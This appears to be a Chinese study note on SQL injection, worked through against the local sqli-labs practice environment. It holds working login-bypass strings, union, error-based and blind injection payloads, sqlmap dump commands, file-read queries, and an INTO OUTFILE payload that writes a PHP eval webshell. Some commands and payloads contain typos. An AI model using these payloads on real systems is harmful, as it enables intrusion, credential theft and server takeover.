SQL注入学习
一.sql注入的原因
语言分类:解释型语言和编译型语言
在解释型语言中,如果程序与用户进行交互,用户就可以构造特殊的输入来拼接到程序中执行。
二.登录案例讲解
登录的SQL语句:select * from admin where username = '用户输入的用户名' and password = '用户输入的密码'
用户输入的内容可由用户自行控制,例如可以输入 ‘or 1=1 --空格
SQL语句:select * from admin where username = ' ' or 1=1 --' and password = '用户输入的密码'其中or 1=1 永远为真,--注释后边内容不再执行,因此SQL语句执行会返回admin表中的所有内容。
万能密码
用户名:admin' or 1=1 --空格
密码:123456
百度搜索:后台登录万能密码
新建txt,把万能密码复制。
打开burp,抓登录页面的包,发送到intruder-->positions-->clear
username/password:&admin&或者&123456&(add&)-->sniper
-->payloads
set:1
type:Runtime file
slect file:.txt
->intruder-->start attack
三.CMS--SQL注入讲解
CMS逻辑:index.php首页展示内容,具有文章列表(链接具有文章id)、articles.php文章详解细页,URL中article.php?id=文章id读取id文章。
SQL注入验证:
1.单引号'
2. and 1=1
3. and 1=2
如果页面中Mysql报错,证明该页面存在SQL注入漏洞。
四.sqlmap基本使用
Sqlmap是检测和利用SQL注入漏洞的一款强大工具
登录注入
burp抓包,复制到.txt
python sqlmap.py -r XXX.txt -p username --dbs
CMS注入
python sqlmap.py -u "http://.../.../articles.php?id=1" --dbs
python sqlmap.py -u "http://.../.../articles.php?id=1" -D cms --tables
python sqlmap.py -u "http://.../.../articles.php?id=1" -D cms -T articles --columns
python sqlmap.py -u "http://.../.../articles.php?id=1" -D cms -T articles -C id,title,content --dump
五.Mysql注入有关知识点
1.Mysql 5.0
为了方便默认添加了infomation_schema数据库,用来存储数据库元信息。
其中schemata(数据库)、tables(表名)、columns(列名)。
schemata中,schemata_name字段用来存储数据库名和表名。
tables中,tables_schema和tables_name分别用来存储数据库名和表名。
columns中,tables_schema(数据库名)、tables_name(表名)、columns_name(字段名)
2.SQL增删改查
select *或者列名称 from 表名称 where 字段1 = '条件1' and 字段2 = '条件2'
insert into table name(列1,列2,...) value(值1,值2,...)
update 表名称 set 列名称 = 新值 where 列名称 = 某值
delete from 表名称 where 列名称 = 值
3.Mysql常用函数
Mysql中常用的聚合函数:
user():查看当前Mysql登录用户名
database():查看当前使用Mysql数据库名
version():查看当前Mysql版本
拓展limit关键字 limit m,n 从m行开始,到m+n行。用于网页分页。
4.注释
注释符:在Mysql中常见的注释符表达式:#或--空格或/**/
内联注释:/*!SQL语句 */只有Mysql可以识别,常用来绕过WAF。
例如:select * from articles where id = id
使用内联注释注入:select * from articles where id = -1/*!union*/ /*!select*/1,2,3,4
六.Sqli-lab环境搭建
1.phpStudy是一个PHP调试环境的程序集成包。-->php.exe+Apache/iis/nigix+Mysql
https://www.php.cn/code/32314.html
打开phpstudy,打开浏览器输入127.0.0.1
2.火狐浏览器插件的安装
安全方面插件:hackbar、Firebug、Live http headers、Tamper Data(详细了解一下)
3.Sqlmap安装
4.Sqli-labs安装
https://github.com/Audi-1/sqli-labs
七.基于报错的SQL注入
1.SQL注入的分类
数字型和字符型
例子:
数字型:select * from table where id = 用户输入id
字符型:select * from table where id = '用户输入id'
2.GET基于报错的SQL注入发现
通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠\来探测URL中是否存在注入点。
完成sqli-lab lesss1--4
-1
''14'' LIMIT 0,1'
'14'' LIMIT 0,1
SQL: select_name,password from admin where id = ' id ' limit 0,1
14'
--2
'' LIMIT 0,1'
' LIMIT 0,1
SQL: select_name,password from admin where id = id ' limit 0,1
--3
''1'') LIMIT 0,1'
'1'') LIMIT 0,1
'1') LIMIT 0,1
('1') LIMIT 0,1
select_name,password from admin where id = ( ' id ' ) LIMIT 0,1
http://localhost/sqli/Less-3/?id=1%27)%20--+
---4
输入1)))都正确
双引号报错
\或者双引号
' " 1\ " ) LIMIT 0,1 '
" 1\ " ) LIMIT 0,1
select_name,password from admin where id = ( “ id ” ) LIMIT 0,1
http://localhost/sqli/Less-4/?id=1%22)%20--+
双引号 %22
3.GET基于报错的SQL注入利用
--1.利用oder by 判断字段数。
--2利用union select 联合查询,获取表名。
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
--3.利用union select 联合查询,获取字段名。
0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
--4.利用 union select 联合查询,获取字段值。
0' union select 1,group_concat(username,0x3a,password),3 from users --+
sqli---1
http://localhost/sqli/Less-1/?id=1' order by 3 --+
http://localhost/sqli/Less-1/?id=0' union select 1,2,3--+
http://localhost/sqli/Less-1/?id=0' union select 1,user(),database() --+
http://localhost/sqli/Less-1/?id=0' union select 1,version(),database() --+版本
4.利用Sqlmap测试
python sqlmap.py -u "http://localhost/sqli/Less-1/?id=1" --dbs --batch
python sqlmap.py -u "http://localhost/sqli/Less-1/?id=1" -D security --tables --batch
python sqlmap.py -u "http://localhost/sqli/Less-1/?id=1" -D security -T users --columns --batch
python sqlmap.py -u "http://localhost/sqli/Less-1/?id=1" -D security -T users -C username,password --dump --batch
八.不再显示错误的盲注
1.盲注介绍
Blind SQL(盲注),向数据库发送ture或者false这样的问题,并根据应用程序返回的信息总判断结果,这种攻击出现因为应用程序配置为只显示常规错误,并没有解决SQL注入存在的代码问题。
返回固定信息
盲注:基于布尔型和时间的盲注
sqli---8
ture---you are in..
false---无
2.GET基于时间的盲注
if(ascii(substr(database(),1,1)=115,1,sleep(3))):当数据库名第一个字母的ascii码等于115时,执行一次sleep(3)函数等待3秒
asdf 1,1 ===a
asdf 1,2 ===as
sqli--9
http://localhost/sqli/Less-9/?id=1' if(ascii(substr(database(),1,1)=115,1,sleep(3))) --+
sqli--10
,1,sleep(3))) --+ 一次sleep
3.GET基于Boolean的盲注
基于布尔型:
select length(database())
select substr(database(),1,1)
select ascii(substr(database(),1,1))
select ascii(substr(database(),1,1))>N
select ascii(substr(database(),1,1))=N
select ascii(substr(database(),1,1))<N
sqli--8
http://localhost/sqli/Less-8/?id=1' and length(database()) = 8 --+
4.Sqlmap安全测试
sqli--10
python sqlmap.py -h帮助文档
--technique T 时间注入
九.Mysql注入读写文件
1.Mysql注入读文件
读取前提:
1.用户权限足够高、尽量具有root权限。
2、secure_file_priv 不为NULL。
D:\phpstudy_pro\Extensions\MySQL5.7.26\bin>mysql -uroot -proot -h 127.0.0.1
show global variables like "secure_file_priv";
读取文件
select load_file("D:\\text.txt");
sqli---1
http://localhost/sqli/Less-1/?id=1'order by 3 --+
http://localhost/sqli/Less-1/?id=-1' union select 1,2,3 --+
http://localhost/sqli/Less-1/?id=-1' union select 1, load_file("D:\\text.txt"),3 --+
2.Mysql注入写入文件
order by 前面不需要报错
http://localhost/sqli/Less-7/?id=-1'))+union+select+1,'<?php phpinfo(); ?>',3+into+outfile+'D:\\phpstudy_pro\\WWW\\sqli\\Less-7\\text.php' --+
3.写入Webshell
写入一句话,<?php @eval($_POST['X']);?> ,菜刀连接
http://localhost/sqli/Less-7/?id=-1')) union select 1,"<?php @eval($_POST['X']); ?>",3 into outfile 'D:/phpstudy_pro/WWW/sqli/Less-7/1.php' --+

4.Sqlmap安全测试
-hh帮助信息
python sqlmap.py -u "http://localhost/sqli/Less-7/?id=1" --file-read "D:\text.txt"
--file-read
--file-write
--file-dest
十.POST基于报错注入
1.Burpsuite抓取HTTP请求
2.POST基于错误单引号注入
sqli---11
admin
123456
burp抓取
uname=admin&passwd=123456'%20and%201=1%20--+&submit=Submit
3.POST基于错误双引号注入
sqli--12
uname=admin&passwd=123456")%20or%201=1--+&submit=Submit
4.Sqlmap安全测试
进行POST注入
s1.txt在Sqlmap目录下
python sqlmap.py -r s1.txt -p passwd --technique E
python sqlmap.py -r s1.txt -p passwd --technique E --courrent -db
python sqlmap.py -r s1.txt -p passwd --technique E -D security --table
十一.GET报错注入
1.报错注入介绍
报错注入形式上是两个嵌套的查询,即select...(select...),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:
rand()随机函数,返回0~1之间某个值
floor(a)取整函数,返回小于等于a,且最接近a的一个整数
count()聚合函数也称为计数函数,返回查询对象的总数
group by clause分组语句,按照查询结果分组
通过报错来显示出具体的信息。
floor(rand(0)*2)为011011
select count(*) from table group by floor(rand(0)*2);
2.GET单引号报错注入
sqli--5
数据库
http://localhost/sqli/Less-5/?id=0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
Duplicate entry '5.7.26::security::root@localhost:1' for key '<group_key>'
表
http://localhost/sqli/Less-5/?id=0' union select 1,2,3 from (select count(*),concat((select concat(group_concat(table_name),0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
Duplicate entry 'emails,referers,uagents,users::1' for key '<group_key>'
用户
http://localhost/sqli/Less-5/?id=0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a,0x3a,password,0x3a,0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+
Duplicate entry 'Angelina::I-kill-you::1' for key '<group_key>'
3.GET双引号注入
数据库
http://localhost/sqli/Less-6/?id=0" union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2))as a from information_schema.tables group by a limit 0,10 --+
select length(database())
select substr(database(),1,1)
select ascii(substr(database(),1,1))
select ascii(substr(database(),1,1))>N
select ascii(substr(database(),1,1))=N
select ascii(substr(database(),1,1))<N

浙公网安备 33010602011771号